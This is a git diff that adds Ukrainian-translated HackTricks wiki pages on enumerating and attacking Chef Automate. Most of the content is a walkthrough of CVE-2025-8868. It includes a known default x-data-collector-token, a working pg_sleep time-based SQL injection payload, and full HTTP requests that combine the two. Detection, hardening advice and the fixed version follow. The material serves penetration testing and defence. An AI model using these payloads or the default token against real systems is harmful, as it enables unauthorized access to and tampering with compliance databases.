mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
# Chef Automate Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке Chef Automate
|
||||
|
||||
Chef Automate — платформа для автоматизації інфраструктури, відповідності та доставки застосунків. Вона надає веб-інтерфейс (зазвичай Angular), який спілкується з backend gRPC services через gRPC-Gateway, забезпечуючи REST-like endpoints за шляхами на кшталт /api/v0/.
|
||||
|
||||
- Поширені компоненти бекенду: gRPC services, PostgreSQL (часто видно через префікси pq: error), data-collector ingest service
|
||||
- Механізми автентифікації: user/API tokens та заголовок токена data-collector x-data-collector-token
|
||||
|
||||
## Енумерація & атаки
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,142 @@
|
||||
# Chef Automate Перерахування та атаки
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Огляд
|
||||
|
||||
На цій сторінці зібрані практичні техніки для виявлення та атак на інстанси Chef Automate, із акцентом на:
|
||||
- Виявлення REST-ендпойнтів, підключених через gRPC-Gateway, та виведення схем запитів за допомогою повідомлень валідації/помилок
|
||||
- Зловживання заголовком аутентифікації x-data-collector-token, коли присутні значення за замовчуванням
|
||||
- Часозалежний сліпий SQL injection у Compliance API (CVE-2025-8868), що впливає на поле filters[].type у /api/v0/compliance/profiles/search
|
||||
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Розвідка: архітектура та сигнатури
|
||||
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Аутентифікація: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate надає data collector, який аутентифікує запити через спеціальний заголовок:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
|
||||
## Виведення схеми API через виявлення на основі помилок
|
||||
|
||||
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
|
||||
|
||||
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
|
||||
|
||||
- type: string (filter field identifier)
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
Некоректний JSON або неправильні типи полів зазвичай викликають помилки 4xx/5xx з підказками, а заголовки вказують на поведінку gRPC-Gateway. Використовуйте це, щоб зіставити поля та локалізувати поверхні ін'єкцій.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Затронутий endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Клас вразливості: time-based blind SQL injection in PostgreSQL
|
||||
- Причина: відсутність належної параметризації/перевірки за білим списком при інтерполяції поля type в динамічний SQL-фрагмент (ймовірно використовується для побудови ідентифікаторів/WHERE-умов). Сконструйовані значення в type виконуються PostgreSQL.
|
||||
|
||||
Working time-based payload:
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Technique notes:
|
||||
- Закрийте вихідний рядок одинарною лапкою (')
|
||||
- Додайте підзапит, який викликає pg_sleep(N)
|
||||
- Знову уведіть контекст рядка через ||, щоб фінальний SQL залишався синтаксично валідним незалежно від того, де вставлено type
|
||||
|
||||
### Доказ через диференційну затримку
|
||||
|
||||
Надішліть пару запитів і порівняйте часи відповіді, щоб підтвердити виконання на боці сервера:
|
||||
|
||||
- N = 1 секунда
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 секунд
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Observed behavior:
|
||||
- Час відповіді масштабується відповідно до pg_sleep(N)
|
||||
- HTTP 500 відповіді можуть містити pq: деталі під час пробування, що підтверджує шляхи виконання SQL
|
||||
|
||||
> Порада: Використовуйте таймінговий валідатор (наприклад, кілька запусків із статистичним порівнянням), щоб зменшити шум та false positives.
|
||||
|
||||
### Impact
|
||||
|
||||
Аутентифіковані користувачі — або неаутентифіковані дії, що зловживають дефолтним x-data-collector-token — можуть виконувати довільний SQL у контексті PostgreSQL Chef Automate, що ставить під загрозу конфіденційність та цілісність профілів відповідності, конфігурації та телеметрії.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
|
||||
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- Моніторити 500 відповіді на /api/v0/compliance/profiles/search коли filters[].type містить лапки ('), конкатенацію (||) або посилання на функції типу pg_sleep
|
||||
- Інспектувати заголовки відповіді на наявність grpc-metadata-content-type для ідентифікації потоків gRPC-Gateway
|
||||
- Database layer (PostgreSQL):
|
||||
- Аудит викликів pg_sleep та помилок malformed identifier (часто проявляються з префіксами pq:, що приходять від Go pq driver)
|
||||
- Authentication:
|
||||
- Логувати та генерувати алерти про використання x-data-collector-token, особливо відомих дефолтних значень, у межах API шляхів
|
||||
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Immediate:
|
||||
- Змінити/вимкнути дефолтні токени data collector
|
||||
- Обмежити вхідний трафік до endpoint-ів data collector; вимагати сильні, унікальні токени
|
||||
- Code-level:
|
||||
- Параметризувати запити; ніколи не робити string-concatenate SQL фрагментів
|
||||
- Строго whitelist-ити дозволені значення type на сервері (enum)
|
||||
- Уникати динамічної збірки SQL для ідентифікаторів/клауз; якщо потрібна динаміка — використовувати безпечне екранування ідентифікаторів та явні whitelist-и
|
||||
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Перевірити, чи приймається x-data-collector-token і чи працює відоме дефолтне значення
|
||||
- Змапити схему запитів Compliance API, індукуючи помилки валідації та читаючи повідомлення про помилки/заголовки
|
||||
- Тестувати на SQLi у менш очевидних полях, схожих на ідентифікатори (наприклад, filters[].type), а не лише в масивах значень або топ-рівневих текстових полях
|
||||
- Використовувати тайм-бейзовані техніки з конкатенацією, щоб зберегти синтаксичну валідність SQL у різних контекстах
|
||||
|
||||
## References
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,5 +1,3 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user